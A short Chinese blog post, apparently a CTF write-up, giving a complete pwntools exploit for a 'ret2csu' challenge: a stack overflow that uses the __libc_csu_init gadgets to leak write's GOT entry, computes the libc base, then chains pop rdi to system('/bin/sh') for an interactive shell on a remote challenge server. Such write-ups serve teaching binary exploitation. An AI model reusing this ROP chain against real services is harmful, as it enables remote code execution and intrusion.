PWN:[WEEK2]ret2csu

很简单的ret2csu

只不过要耐心的调试一会儿。

exp

from pwn import *

context.log_level="debug"

def look(sh):
	gdb.attach(sh,"b *0x0004011BE")
	pause()

#sh=process("./ret2csu")
sh=remote("43.143.7.127",28451)
sla=lambda x,y :sh.sendlineafter(x,y)

#参考ctfwiki的文章
csu_front_addr = 0x00401290
csu_end_addr = 0x000004012AA

elf=ELF("./ret2csu")
libc=ELF("./libc.so.6")

def csu(rbx, rbp, r12, r13, r14, r15, last):
    # pop rbx,rbp,r12,r13,r14,r15

    # rbx should be 0,
    # rbp should be 1,enable not to jump
    # r12 should be the function we want to call

    # rdi=edi=r15d
    # rsi=r13
    # rdx=r14
    # 
	#实际调试时,要注意寄存器的不同。
	#本来看文章以为一样,结果程序的这段代码都不尽相同
	#所以还是要自己调试
    payload = b'a' * (0x100 + 8)
    payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
    payload += p64(csu_front_addr)
    payload += b'a' *(6*8)+p64(write_plt)
    payload += p64(last)
    return payload

main=elf.sym["main"]
write_plt=elf.plt["write"]

print("[*][*][*][*][*][*][*][*][*][*][*][*]")
print(type(write_plt))
print(hex(write_plt))
print("[*][*][*][*][*][*][*][*][*][*][*][*]")

write_got=elf.got["write"]

payload=csu(0,1,1,write_got,8,0x404018,main)

#look(sh)
sla("Input:\n",payload)
sh.recvuntil("Ok.\n")
libc_base=u64(sh.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-libc.sym["write"]
libc.address=libc_base

print("[*][*][*][*][*][*][*][*][*][*][*][*]")
print(hex(libc_base))
print("[*][*][*][*][*][*][*][*][*][*][*][*]")

poprdi = 0x00000000004012b3#next(elf.search(asm('pop rdi;ret')))
binsh=next(libc.search(b"/bin/sh\x00"))
system=libc.sym["system"]
ret=0x000000000040101a
payload=b'a'* (0x100 + 8)+p64(poprdi)+p64(binsh)+p64(ret)+p64(system)
#look(sh)
sla("Input:\n",payload)
#sh.read()
sh.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值